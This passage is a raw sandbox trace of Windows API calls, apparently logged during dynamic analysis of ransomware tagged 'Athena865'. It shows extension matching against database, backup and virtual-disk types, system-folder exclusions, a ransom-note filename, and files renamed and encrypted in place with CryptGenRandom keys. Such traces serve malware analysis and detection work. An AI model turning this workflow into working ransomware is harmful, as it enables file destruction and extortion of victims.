returned 1 [0097.920] lstrlenW (lpString="accde") returned 5 [0097.920] lstrcmpiW (lpString1="y.ico", lpString2="accde") returned 1 [0097.920] lstrlenW (lpString="accdr") returned 5 [0097.920] lstrcmpiW (lpString1="y.ico", lpString2="accdr") returned 1 [0097.920] lstrlenW (lpString="accdt") returned 5 [0097.920] lstrcmpiW (lpString1="y.ico", lpString2="accdt") returned 1 [0097.920] lstrlenW (lpString="accdw") returned 5 [0097.920] lstrcmpiW (lpString1="y.ico", lpString2="accdw") returned 1 [0097.920] lstrlenW (lpString="accft") returned 5 [0097.920] lstrcmpiW (lpString1="y.ico", lpString2="accft") returned 1 [0097.920] lstrlenW (lpString="adb") returned 3 [0097.920] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1 [0097.920] lstrlenW (lpString="adb") returned 3 [0097.920] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1 [0097.920] lstrlenW (lpString="ade") returned 3 [0097.920] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1 [0097.920] lstrlenW (lpString="adf") returned 3 [0097.920] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1 [0097.920] lstrlenW (lpString="adn") returned 3 [0097.920] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1 [0097.920] lstrlenW (lpString="adp") returned 3 [0097.920] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1 [0097.920] lstrlenW (lpString="alf") returned 3 [0097.920] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1 [0097.920] lstrlenW (lpString="ask") returned 3 [0097.920] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1 [0097.920] lstrlenW (lpString="btr") returned 3 [0097.920] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1 [0097.920] lstrlenW (lpString="cat") returned 3 [0097.920] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1 [0097.921] lstrlenW (lpString="cdb") returned 3 [0097.921] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1 [0097.921] lstrlenW (lpString="ckp") returned 3 [0097.921] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1 [0097.921] lstrlenW (lpString="cma") returned 3 [0097.921] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1 [0097.921] lstrlenW (lpString="cpd") returned 3 [0097.921] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1 [0097.921] lstrlenW (lpString="dacpac") returned 6 [0097.921] lstrcmpiW (lpString1="ry.ico", lpString2="dacpac") returned 1 [0097.921] lstrlenW (lpString="dad") returned 3 [0097.921] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1 [0097.921] lstrlenW (lpString="dadiagrams") returned 10 [0097.921] lstrcmpiW (lpString1="ibrary.ico", lpString2="dadiagrams") returned 1 [0097.921] lstrlenW (lpString="daschema") returned 8 [0097.921] lstrcmpiW (lpString1="rary.ico", lpString2="daschema") returned 1 [0097.921] lstrlenW (lpString="db-journal") returned 10 [0097.921] lstrcmpiW (lpString1="ibrary.ico", lpString2="db-journal") returned 1 [0097.921] lstrlenW (lpString="db-shm") returned 6 [0097.921] lstrcmpiW (lpString1="ry.ico", lpString2="db-shm") returned 1 [0097.921] lstrlenW (lpString="db-wal") returned 6 [0097.921] lstrcmpiW (lpString1="ry.ico", lpString2="db-wal") returned 1 [0097.921] lstrlenW (lpString="dbc") returned 3 [0097.921] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1 [0097.921] lstrlenW (lpString="dbs") returned 3 [0097.921] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1 [0097.921] lstrlenW (lpString="dbt") returned 3 [0097.921] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1 [0097.921] lstrlenW (lpString="dbv") returned 3 [0097.921] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1 [0097.921] lstrlenW (lpString="dbx") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1 [0097.922] lstrlenW (lpString="dcb") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1 [0097.922] lstrlenW (lpString="dct") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1 [0097.922] lstrlenW (lpString="dcx") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1 [0097.922] lstrlenW (lpString="ddl") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1 [0097.922] lstrlenW (lpString="dlis") returned 4 [0097.922] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1 [0097.922] lstrlenW (lpString="dp1") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1 [0097.922] lstrlenW (lpString="dqy") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1 [0097.922] lstrlenW (lpString="dsk") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="dsk") returned 1 [0097.922] lstrlenW (lpString="dsn") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="dsn") returned 1 [0097.922] lstrlenW (lpString="dtsx") returned 4 [0097.922] lstrcmpiW (lpString1=".ico", lpString2="dtsx") returned -1 [0097.922] lstrlenW (lpString="dxl") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="dxl") returned 1 [0097.922] lstrlenW (lpString="eco") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="eco") returned 1 [0097.922] lstrlenW (lpString="ecx") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="ecx") returned 1 [0097.922] lstrlenW (lpString="edb") returned 3 [0097.922] lstrcmpiW (lpString1="ico", lpString2="edb") returned 1 [0097.922] lstrlenW (lpString="epim") returned 4 [0097.922] lstrcmpiW (lpString1=".ico", lpString2="epim") returned -1 [0097.923] lstrlenW (lpString="fcd") returned 3 [0097.923] lstrcmpiW (lpString1="ico", lpString2="fcd") returned 1 [0097.923] lstrlenW (lpString="fdb") returned 3 [0097.923] lstrcmpiW (lpString1="ico", lpString2="fdb") returned 1 [0097.923] lstrlenW (lpString="fic") returned 3 [0097.923] lstrcmpiW (lpString1="ico", lpString2="fic") returned 1 [0097.923] lstrlenW (lpString="flexolibrary") returned 12 [0097.923] lstrcmpiW (lpString1="tLibrary.ico", lpString2="flexolibrary") returned 1 [0097.923] lstrlenW (lpString="fm5") returned 3 [0097.923] lstrcmpiW (lpString1="ico", lpString2="fm5") returned 1 [0097.923] lstrlenW (lpString="fmp") returned 3 [0097.923] lstrcmpiW (lpString1="ico", lpString2="fmp") returned 1 [0097.923] lstrlenW (lpString="fmp12") returned 5 [0097.923] lstrcmpiW (lpString1="y.ico", lpString2="fmp12") returned 1 [0097.923] lstrlenW (lpString="fmpsl") returned 5 [0097.923] lstrcmpiW (lpString1="y.ico", lpString2="fmpsl") returned 1 [0097.923] lstrlenW (lpString="fol") returned 3 [0097.924] lstrcmpiW (lpString1="ico", lpString2="fol") returned 1 [0097.924] lstrlenW (lpString="fp3") returned 3 [0097.924] lstrcmpiW (lpString1="ico", lpString2="fp3") returned 1 [0097.924] lstrlenW (lpString="fp4") returned 3 [0097.924] lstrcmpiW (lpString1="ico", lpString2="fp4") returned 1 [0097.924] lstrlenW (lpString="fp5") returned 3 [0097.925] lstrcmpiW (lpString1="ico", lpString2="fp5") returned 1 [0097.925] lstrlenW (lpString="fp7") returned 3 [0097.925] lstrcmpiW (lpString1="ico", lpString2="fp7") returned 1 [0097.925] lstrlenW (lpString="fpt") returned 3 [0097.925] lstrcmpiW (lpString1="ico", lpString2="fpt") returned 1 [0097.925] lstrlenW (lpString="frm") returned 3 [0097.925] lstrcmpiW (lpString1="ico", lpString2="frm") returned 1 [0097.925] lstrlenW (lpString="gdb") returned 3 [0097.925] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1 [0097.925] lstrlenW (lpString="gdb") returned 3 [0097.925] lstrcmpiW (lpString1="ico", lpString2="gdb") returned 1 [0097.925] lstrlenW (lpString="grdb") returned 4 [0097.925] lstrcmpiW (lpString1=".ico", lpString2="grdb") returned -1 [0097.925] lstrlenW (lpString="gwi") returned 3 [0097.925] lstrcmpiW (lpString1="ico", lpString2="gwi") returned 1 [0097.925] lstrlenW (lpString="hdb") returned 3 [0097.925] lstrcmpiW (lpString1="ico", lpString2="hdb") returned 1 [0097.925] lstrlenW (lpString="his") returned 3 [0097.925] lstrcmpiW (lpString1="ico", lpString2="his") returned 1 [0097.925] lstrlenW (lpString="ib") returned 2 [0097.925] lstrcmpiW (lpString1="co", lpString2="ib") returned -1 [0097.925] lstrlenW (lpString="idb") returned 3 [0097.925] lstrcmpiW (lpString1="ico", lpString2="idb") returned -1 [0097.926] lstrlenW (lpString="ihx") returned 3 [0097.926] lstrcmpiW (lpString1="ico", lpString2="ihx") returned -1 [0097.926] lstrlenW (lpString="itdb") returned 4 [0097.926] lstrcmpiW (lpString1=".ico", lpString2="itdb") returned -1 [0097.926] lstrlenW (lpString="itw") returned 3 [0097.926] lstrcmpiW (lpString1="ico", lpString2="itw") returned -1 [0097.926] lstrlenW (lpString="jet") returned 3 [0097.926] lstrcmpiW (lpString1="ico", lpString2="jet") returned -1 [0097.926] lstrlenW (lpString="jtx") returned 3 [0097.926] lstrcmpiW (lpString1="ico", lpString2="jtx") returned -1 [0097.926] lstrlenW (lpString="kdb") returned 3 [0097.926] lstrcmpiW (lpString1="ico", lpString2="kdb") returned -1 [0097.926] lstrlenW (lpString="kexi") returned 4 [0097.926] lstrcmpiW (lpString1=".ico", lpString2="kexi") returned -1 [0097.926] lstrlenW (lpString="kexic") returned 5 [0097.926] lstrcmpiW (lpString1="y.ico", lpString2="kexic") returned 1 [0097.926] lstrlenW (lpString="kexis") returned 5 [0097.926] lstrcmpiW (lpString1="y.ico", lpString2="kexis") returned 1 [0097.926] lstrlenW (lpString="lgc") returned 3 [0097.926] lstrcmpiW (lpString1="ico", lpString2="lgc") returned -1 [0097.926] lstrlenW (lpString="lwx") returned 3 [0097.926] lstrcmpiW (lpString1="ico", lpString2="lwx") returned -1 [0097.926] lstrlenW (lpString="maf") returned 3 [0097.926] lstrcmpiW (lpString1="ico", lpString2="maf") returned -1 [0097.926] lstrlenW (lpString="maq") returned 3 [0097.926] lstrcmpiW (lpString1="ico", lpString2="maq") returned -1 [0097.926] lstrlenW (lpString="mar") returned 3 [0097.926] lstrcmpiW (lpString1="ico", lpString2="mar") returned -1 [0097.926] lstrlenW (lpString="marshal") returned 7 [0097.927] lstrcmpiW (lpString1="ary.ico", lpString2="marshal") returned -1 [0097.927] lstrlenW (lpString="mas") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="mas") returned -1 [0097.927] lstrlenW (lpString="mav") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="mav") returned -1 [0097.927] lstrlenW (lpString="maw") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="maw") returned -1 [0097.927] lstrlenW (lpString="mdbhtml") returned 7 [0097.927] lstrcmpiW (lpString1="ary.ico", lpString2="mdbhtml") returned -1 [0097.927] lstrlenW (lpString="mdn") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="mdn") returned -1 [0097.927] lstrlenW (lpString="mdt") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="mdt") returned -1 [0097.927] lstrlenW (lpString="mfd") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="mfd") returned -1 [0097.927] lstrlenW (lpString="mpd") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="mpd") returned -1 [0097.927] lstrlenW (lpString="mrg") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="mrg") returned -1 [0097.927] lstrlenW (lpString="mud") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="mud") returned -1 [0097.927] lstrlenW (lpString="mwb") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="mwb") returned -1 [0097.927] lstrlenW (lpString="myd") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="myd") returned -1 [0097.927] lstrlenW (lpString="ndf") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="ndf") returned -1 [0097.927] lstrlenW (lpString="nnt") returned 3 [0097.927] lstrcmpiW (lpString1="ico", lpString2="nnt") returned -1 [0097.927] lstrlenW (lpString="nrmlib") returned 6 [0097.927] lstrcmpiW (lpString1="ry.ico", lpString2="nrmlib") returned 1 [0097.927] lstrlenW (lpString="ns2") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="ns2") returned -1 [0097.928] lstrlenW (lpString="ns3") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="ns3") returned -1 [0097.928] lstrlenW (lpString="ns4") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="ns4") returned -1 [0097.928] lstrlenW (lpString="nsf") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="nsf") returned -1 [0097.928] lstrlenW (lpString="nv") returned 2 [0097.928] lstrcmpiW (lpString1="co", lpString2="nv") returned -1 [0097.928] lstrlenW (lpString="nv2") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="nv2") returned -1 [0097.928] lstrlenW (lpString="nwdb") returned 4 [0097.928] lstrcmpiW (lpString1=".ico", lpString2="nwdb") returned -1 [0097.928] lstrlenW (lpString="nyf") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="nyf") returned -1 [0097.928] lstrlenW (lpString="odb") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1 [0097.928] lstrlenW (lpString="odb") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="odb") returned -1 [0097.928] lstrlenW (lpString="oqy") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="oqy") returned -1 [0097.928] lstrlenW (lpString="ora") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="ora") returned -1 [0097.928] lstrlenW (lpString="orx") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="orx") returned -1 [0097.928] lstrlenW (lpString="owc") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="owc") returned -1 [0097.928] lstrlenW (lpString="p96") returned 3 [0097.928] lstrcmpiW (lpString1="ico", lpString2="p96") returned -1 [0097.929] lstrlenW (lpString="p97") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="p97") returned -1 [0097.929] lstrlenW (lpString="pan") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="pan") returned -1 [0097.929] lstrlenW (lpString="pdb") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="pdb") returned -1 [0097.929] lstrlenW (lpString="pdm") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="pdm") returned -1 [0097.929] lstrlenW (lpString="pnz") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="pnz") returned -1 [0097.929] lstrlenW (lpString="qry") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="qry") returned -1 [0097.929] lstrlenW (lpString="qvd") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="qvd") returned -1 [0097.929] lstrlenW (lpString="rbf") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="rbf") returned -1 [0097.929] lstrlenW (lpString="rctd") returned 4 [0097.929] lstrcmpiW (lpString1=".ico", lpString2="rctd") returned -1 [0097.929] lstrlenW (lpString="rod") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="rod") returned -1 [0097.929] lstrlenW (lpString="rodx") returned 4 [0097.929] lstrcmpiW (lpString1=".ico", lpString2="rodx") returned -1 [0097.929] lstrlenW (lpString="rpd") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="rpd") returned -1 [0097.929] lstrlenW (lpString="rsd") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="rsd") returned -1 [0097.929] lstrlenW (lpString="sas7bdat") returned 8 [0097.929] lstrcmpiW (lpString1="rary.ico", lpString2="sas7bdat") returned -1 [0097.929] lstrlenW (lpString="sbf") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="sbf") returned -1 [0097.929] lstrlenW (lpString="scx") returned 3 [0097.929] lstrcmpiW (lpString1="ico", lpString2="scx") returned -1 [0097.930] lstrlenW (lpString="sdb") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="sdb") returned -1 [0097.930] lstrlenW (lpString="sdc") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="sdc") returned -1 [0097.930] lstrlenW (lpString="sdf") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="sdf") returned -1 [0097.930] lstrlenW (lpString="sis") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="sis") returned -1 [0097.930] lstrlenW (lpString="spq") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="spq") returned -1 [0097.930] lstrlenW (lpString="te") returned 2 [0097.930] lstrcmpiW (lpString1="co", lpString2="te") returned -1 [0097.930] lstrlenW (lpString="teacher") returned 7 [0097.930] lstrcmpiW (lpString1="ary.ico", lpString2="teacher") returned -1 [0097.930] lstrlenW (lpString="tmd") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="tmd") returned -1 [0097.930] lstrlenW (lpString="tps") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="tps") returned -1 [0097.930] lstrlenW (lpString="trc") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1 [0097.930] lstrlenW (lpString="trc") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="trc") returned -1 [0097.930] lstrlenW (lpString="trm") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="trm") returned -1 [0097.930] lstrlenW (lpString="udb") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="udb") returned -1 [0097.930] lstrlenW (lpString="udl") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="udl") returned -1 [0097.930] lstrlenW (lpString="usr") returned 3 [0097.930] lstrcmpiW (lpString1="ico", lpString2="usr") returned -1 [0097.930] lstrlenW (lpString="v12") returned 3 [0097.931] lstrcmpiW (lpString1="ico", lpString2="v12") returned -1 [0097.931] lstrlenW (lpString="vis") returned 3 [0097.931] lstrcmpiW (lpString1="ico", lpString2="vis") returned -1 [0097.931] lstrlenW (lpString="vpd") returned 3 [0097.931] lstrcmpiW (lpString1="ico", lpString2="vpd") returned -1 [0097.931] lstrlenW (lpString="vvv") returned 3 [0097.931] lstrcmpiW (lpString1="ico", lpString2="vvv") returned -1 [0097.931] lstrlenW (lpString="wdb") returned 3 [0097.931] lstrcmpiW (lpString1="ico", lpString2="wdb") returned -1 [0097.931] lstrlenW (lpString="wmdb") returned 4 [0097.931] lstrcmpiW (lpString1=".ico", lpString2="wmdb") returned -1 [0097.931] lstrlenW (lpString="wrk") returned 3 [0097.931] lstrcmpiW (lpString1="ico", lpString2="wrk") returned -1 [0097.931] lstrlenW (lpString="xdb") returned 3 [0097.931] lstrcmpiW (lpString1="ico", lpString2="xdb") returned -1 [0097.931] lstrlenW (lpString="xld") returned 3 [0097.931] lstrcmpiW (lpString1="ico", lpString2="xld") returned -1 [0097.931] lstrlenW (lpString="xmlff") returned 5 [0097.931] lstrcmpiW (lpString1="y.ico", lpString2="xmlff") returned 1 [0097.931] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico.Athena865") returned 58 [0097.931] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico.athena865"), dwFlags=0x1) returned 1 [0097.933] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\AssetLibrary.ico.Athena865" (normalized: "c:\\programdata\\microsoft\\office\\assetlibrary.ico.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0097.933] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5430) returned 1 [0097.933] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0097.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539860 [0097.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519ff8 [0097.934] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a080) returned 1 [0097.934] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0097.934] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.935] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1840, lpName=0x0) returned 0x154 [0097.937] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1840) returned 0x100000 [0097.938] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a080) returned 1 [0097.938] CryptGenRandom (in: hProv=0x51a080, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0097.938] CryptReleaseContext (hProv=0x51a080, dwFlags=0x0) returned 1 [0097.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5398d8 [0097.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5398d8 | out: hHeap=0x4f0000) returned 1 [0097.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53edd0 [0097.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0097.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0097.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53edd0 [0097.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0097.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53edd0 | out: hHeap=0x4f0000) returned 1 [0097.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0097.939] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0097.939] CloseHandle (hObject=0x154) returned 1 [0097.939] CloseHandle (hObject=0x17c) returned 1 [0097.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539860 | out: hHeap=0x4f0000) returned 1 [0097.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519ff8 | out: hHeap=0x4f0000) returned 1 [0097.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0097.940] FindNextFileW (in: hFindFile=0x529590, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xabeeea00, ftCreationTime.dwHighDateTime=0x1c63848, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xabeeea00, ftLastWriteTime.dwHighDateTime=0x1c63848, nFileSizeHigh=0x0, nFileSizeLow=0x627e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DocumentRepository.ico", cAlternateFileName="DOCUME~1.ICO")) returned 1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".") returned 1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="..") returned 1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="windows") returned -1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="bootmgr") returned 1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="temp") returned -1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="pagefile.sys") returned -1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="boot") returned 1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="ids.txt") returned -1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="ntuser.dat") returned -1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="perflogs") returned -1 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2="MSBuild") returned -1 [0097.940] lstrlenW (lpString="DocumentRepository.ico") returned 22 [0097.940] lstrcpyW (in: lpString1=0x241e888, lpString2="DocumentRepository.ico" | out: lpString1="DocumentRepository.ico") returned="DocumentRepository.ico" [0097.940] lstrlenW (lpString="DocumentRepository.ico") returned 22 [0097.940] lstrlenW (lpString="Athena865") returned 9 [0097.940] lstrcmpiW (lpString1="itory.ico", lpString2="Athena865") returned 1 [0097.940] lstrlenW (lpString=".dll") returned 4 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".dll") returned 1 [0097.940] lstrlenW (lpString=".lnk") returned 4 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".lnk") returned 1 [0097.940] lstrlenW (lpString=".ini") returned 4 [0097.940] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".ini") returned 1 [0097.940] lstrlenW (lpString=".sys") returned 4 [0097.941] lstrcmpiW (lpString1="DocumentRepository.ico", lpString2=".sys") returned 1 [0097.941] lstrlenW (lpString="DocumentRepository.ico") returned 22 [0097.941] lstrlenW (lpString="bak") returned 3 [0097.941] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1 [0097.941] lstrlenW (lpString="ba_") returned 3 [0097.941] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1 [0097.941] lstrlenW (lpString="dbb") returned 3 [0097.941] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1 [0097.941] lstrlenW (lpString="vmdk") returned 4 [0097.941] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1 [0097.941] lstrlenW (lpString="rar") returned 3 [0097.941] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1 [0097.941] lstrlenW (lpString="zip") returned 3 [0097.941] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1 [0097.941] lstrlenW (lpString="tgz") returned 3 [0097.941] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1 [0097.941] lstrlenW (lpString="vbox") returned 4 [0097.941] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1 [0097.941] lstrlenW (lpString="vdi") returned 3 [0097.941] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1 [0097.941] lstrlenW (lpString="vhd") returned 3 [0097.941] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1 [0097.941] lstrlenW (lpString="vhdx") returned 4 [0097.941] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1 [0097.941] lstrlenW (lpString="avhd") returned 4 [0097.941] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1 [0097.941] lstrlenW (lpString="db") returned 2 [0097.941] lstrcmpiW (lpString1="co", lpString2="db") returned -1 [0097.941] lstrlenW (lpString="db2") returned 3 [0097.941] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1 [0097.941] lstrlenW (lpString="db3") returned 3 [0097.942] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1 [0097.942] lstrlenW (lpString="dbf") returned 3 [0097.942] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1 [0097.942] lstrlenW (lpString="mdf") returned 3 [0097.942] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1 [0097.942] lstrlenW (lpString="mdb") returned 3 [0097.942] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1 [0097.942] lstrlenW (lpString="sql") returned 3 [0097.942] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1 [0097.942] lstrlenW (lpString="sqlite") returned 6 [0097.942] lstrcmpiW (lpString1="ry.ico", lpString2="sqlite") returned -1 [0097.942] lstrlenW (lpString="sqlite3") returned 7 [0097.942] lstrcmpiW (lpString1="ory.ico", lpString2="sqlite3") returned -1 [0097.942] lstrlenW (lpString="sqlitedb") returned 8 [0097.942] lstrcmpiW (lpString1="tory.ico", lpString2="sqlitedb") returned 1 [0097.942] lstrlenW (lpString="xml") returned 3 [0097.942] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1 [0097.942] lstrlenW (lpString="$er") returned 3 [0097.942] lstrcmpiW (lpString1="ico", 